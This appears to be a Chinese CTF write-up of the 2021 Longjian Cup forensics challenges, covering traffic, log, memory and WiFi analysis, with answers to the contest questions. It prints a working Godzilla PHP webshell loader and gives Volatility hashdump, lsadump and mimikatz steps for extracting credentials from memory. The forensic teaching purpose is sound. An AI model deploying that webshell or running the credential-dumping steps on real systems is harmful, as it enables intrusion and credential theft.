前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >陇剑杯部分Write-up

陇剑杯部分Write-up

作者头像
刘銮奕
发布2021-10-08 15:21:22
8190
发布2021-10-08 15:21:22
举报
文章被收录于专栏:奕知伴解奕知伴解

主要考察抓包分析、web安全、无线安全、内存取证分析、加密解密。难度最大的是无线安全、内存取证分析、加密解密。

JWT

该网站使用了______认证方式。(如有字母请全部使用小写)

题目分类已经提示很清楚了是JWT认证方式,看具体数据包内容的token也是分为三段式(Header、Payload、Signature)符合JWT特征。

黑客绕过验证使用的jwt中,id和username是____。(中间使用#号隔开,例如1#admin)

寻找命令成功执行数据流中的token,下图是命令为成功执行示例

命令执行成功如下效果(一般数据包最底部都会有成功执行的结果):

把token进行base64解码或寻找JWT解码工具皆可:

黑客获取webshell之后,权限是______?

获取用户权限命令一般是whoami,在数据中进行搜索且取最下层(序列号大的)数据:

黑客上传的恶意文件文件名是____。(请提交带有文件后缀的文件名,例如x.txt)

由前文可知命令执行的目录是/exec且上传文件,数据包大小相对会较大些。按照/exec和数据大小进行过滤:

黑客在服务器上编译的恶意so文件,文件名是____。(请提交带有文件后缀的文件名,例如x.so)

直接数据包搜索so关键字就可以得出结果:

黑客在服务器上修改了一个配置文件,文件的绝对路径为____。(请确认绝对路径后再提交)

熟悉linux的同学应该都清楚,配置文件根目录一般是/etc下,搜索其关键字:

Webshell

黑客登录系统使用的密码是____

一般密码关键字是password或者passwd等等,几乎包含都pass,搜索其关键字:

再将其urldecode即可得到。

黑客修改了一个日志文件,文件的绝对路径为___。(请确认绝对路径后再提交)

对数据包搜索.log后缀关键字:

现在得到相对路径,还需要寻找网站目录。上传shell脚本之后一般会执行dir或pwd命令查看所在目录。因此搜索其关键字并追踪数据流:

黑客获取webshell之后,权限是_www-data__?

上一问已得到结果

黑客写入的webshell文件名是_____。(请提交带有文件后缀的文件名,例如x.txt)

上一问已得到结果

黑客上传的代理工具客户端名字是____。(如有字母请全部使用小写)

因需观察日志,数据实时转码,这里使用科来专家组件方便观察:

对比一下三个包:

观察以上3个包,黑客上传frpc工具的frpc.ini配置文件

黑客代理工具的回连服务端IP是_____。

根据上一问分析可知需要把第二包蚁剑数据内容进行解密:

先把POST数据内容进行urlcode解码得到结果如下:

上图两处关键代码表示:第一段表示从&第一个参数第三位数据解码,&第二个参数代表buf内容添加%后urldecode解码。不过也可直接hex解码

黑客的socks5的连接账号、密码是___。(中间使用#号隔开,例如admin#passwd)

上一问已有结果

日志分析

网络存在源码泄漏,源码文件名是____。(请提交带有文件后缀的文件名,例如x.txt)

扫描文件存在一般返回200,搜索关键字:

分析攻击流量,黑客往/tmp目录写入一个文件,文件名为___。

对日志文件搜索tmp关键字:

分析攻击流量,黑客使用的是___类读取了秘密文件。

上一问已有结果

内存分析

第一个问题是虚拟机的密码是____(密码中为flag{xxxx},含有空格,提交时不要去掉)

使用内存取证工具volatility进行分析,kali安装方式:

代码语言:javascript
复制
pip2 install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple

git clone https://github.com/gdabah/distorm.git

cd distorm3/

python setup.py install

git clone https://github.com/volatilityfoundation/volatility.git

python setup.py install

pip2 list 进行确认,出现下图结果即可正常使用。

代码语言:javascript
复制
vol.py -f Target.vmem imageinfo 
代码语言:javascript
复制
vol.py -f Target.vmem --profile=Win7SP1x64hashdump

把be5593366cb1019400210101581e5d0d拿去hash解密失败

使用lsadump进行查看

vol.py -f Target.vmem --profile=Win7SP1x64lsadump

也可使用mimikatz插件进行直接查看,对tool-for-CTF项目下载,地址为:

代码语言:javascript
复制
https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins

搜索原生插件路径,把mimikatz.py添加进去,如imageinfo

放在上图两个目录下即可使用。

第二个问题是虚拟机备份的手机文件里图片中的字符串是____(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx},含有空格,提交时不要去掉)

代码语言:javascript
复制
vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "jpg\|jpeg\|png\|tif\|gif\|bmp"

过滤图片文件,结果没有找到。

按照CTF出题习惯一般会放在桌面或用户目录下,所以先搜索Desktop关键字

代码语言:javascript
复制
vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "Desktop"

找到了题目中手机文件的提示要求的文件。

把上图文件进行导出

exe文件是自解压文件,双击后得到

还原HUAWEI文件需要使用kobackupdec工具,下载地址:

代码语言:javascript
复制
git clone https://github.com/RealityNet/kobackupdec.git

安装依赖库

代码语言:javascript
复制
pip3 install pycryptodome==3.5
pip3 install cx_Freeze

根据题目提示密码为flag内容,还需把空格替换成下划线:

代码语言:javascript
复制
cd kobackupdec
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCXHUAWEI_P40_2021-aa-bb_xx.yy.zz /root/backup1

打开/root/backup1压缩包中的图片即可得到flag

简单日志分析

黑客攻击的参数是___。(如有字母请全部使用小写)

php站点一般参数含有?,搜索其关键字:

黑客查看的秘密文件的绝对路径是___。

对上一问攻击参数内容进行base64解码尝试:

黑客反弹shell的ip和端口是____。(格式使用“ip:端口",例如127.0.0.1:2333)

继续搜索攻击参数

继续对内容先urlcode解码再base64解码

SQL注入

黑客在注入过程中采用的注入手法叫____。(格式为4个汉字,例如“拼搏努力”)

先把日志文件全文进行urlcode解码,可以直接看出是盲注

黑客在注入过程中,最终获取flag的数据库名、表名和字段名是____。(格式为“数据库名#表名#字段名”,例如database#table#column)

找日志底部,可以得出结论

黑客最后获取到的flag字符串为___。

通过日志文件可以看出是使用=进行一一比对,遇到相等即匹配不继续遍历,最终得到结果。

Wifi

小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)

此题有3个文件,看到vmem文件肯定是继续像内存分析当时的方式一样扔到volatility跑一下看看。

代码语言:javascript
复制
vol.py -f Windows\ 7-dde00fa9.vmemimageinfo

查看cmd命令记录:

代码语言:javascript
复制
vol.py -f Windows\ 7-dde00fa9.vmem--profile=Win7SP1x86_23418 cmdscan

看到了把wireless信息进行了导入导出。因此再根据题目提示搜索压缩包后缀

代码语言:javascript
复制
vol.py -f Windows\ 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep -E "tar|zip"
代码语言:javascript
复制
vol.py -f Windows\ 7-dde00fa9.vmem--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./

打开压缩包看被加密的文件是无线网络连接信息和前面cmd的记录匹配上,右侧有密码提示,根据密提示提示寻找网卡GUID

代码语言:javascript
复制
vol.py -f Windows\ 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep "Interfaces"

成功进行解压,打开xml文件,得到密码:

使用Kali自带工具airdecap-ng对客户端数据解密:

代码语言:javascript
复制
airdecap-ng -e My_Wifi -p 233@114514_qweclient.cap

解密前客户端数据包看到的结果:

解密后客户端数据包看到的结果:

打开服务端数据包,看到有哥斯拉传shell流量:

对内容解密得到:哥斯拉shell的初始化

代码语言:javascript
复制
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
   for($i=0;$i<strlen($D);$i++) {
       $c = $K[$i+1&15];
       $D[$i] = $D[$i]^$c;
    }
   return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
   $data=encode(base64_decode($_POST[$pass]),$key);
   if (isset($_SESSION[$payloadName])){
       $payload=encode($_SESSION[$payloadName],$key);
       eval($payload);
       echo substr(md5($pass.$key),0,16);
       echo base64_encode(encode(@run($data),$key));
       echo substr(md5($pass.$key),16);
   }else{
       if (stripos($data,"getBasicsInfo")!==false){
           $_SESSION[$payloadName]=encode($data,$key);
       }
    }
}

使用科来专家分析组件打开客户端最后一个会话流

去掉前面的16位和后面的16位,具体原来可参考freebuf文章(哥斯拉Godzilla加密流量分析)地址为:

代码语言:javascript
复制
https://www.freebuf.com/sectool/285693.html

得到

代码语言:javascript
复制
fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=

我使用phpstudy环境运行php 执行以下内容,

代码语言:javascript
复制
function encode($D,$K){
   for($i=0;$i<strlen($D);$i++) {
       $c = $K[$i+1&15];
       $D[$i] = $D[$i]^$c;
    }
   return $D;
}
$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=';
echogzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));

得到flag

IOS

黑客所控制的C&C服务器IP是________。

用wireshark导入keylog文件,对TLS流量进行解密

根据数据包序号从大到小倒序进行查看,可得结果:

黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)

尝试搜索github关键字,得到结果:

通讯加密密钥的明文是________。

秉着“黑客”不做无用之功的精神,搜索下载ios_agent关键字,可得到结果:

黑客通过SQL盲注拿到了一个敏感数据,内容是________。

不断的翻看流量数据包,可以看到还有http2协议的流量,进行过滤,导出http日志

对CSV的info字段过滤/info信息

把info列的内容提取到notepad++中且进行urldecode解码:

下面的操作和前面SQL注入HEX->ASCII得到flag的方法一样

黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)

对目标地址192.168.1.12进行过滤,发现端口范围是10-499

黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

查看访问日志,有172.28.0.2地址被传webshell,结合前面192.168.1.12,所有这两个地址。

172.28.0.2#192.168.1.12

黑客写入了一个webshell,其密码为__________。

从上图可知结果为参数fxxk,即为小马密码

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 奕知伴解 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • JWT
  • Webshell
  • 日志分析
  • 内存分析
  • 简单日志分析
  • SQL注入
  • Wifi
  • IOS
相关产品与服务
Elasticsearch Service
腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档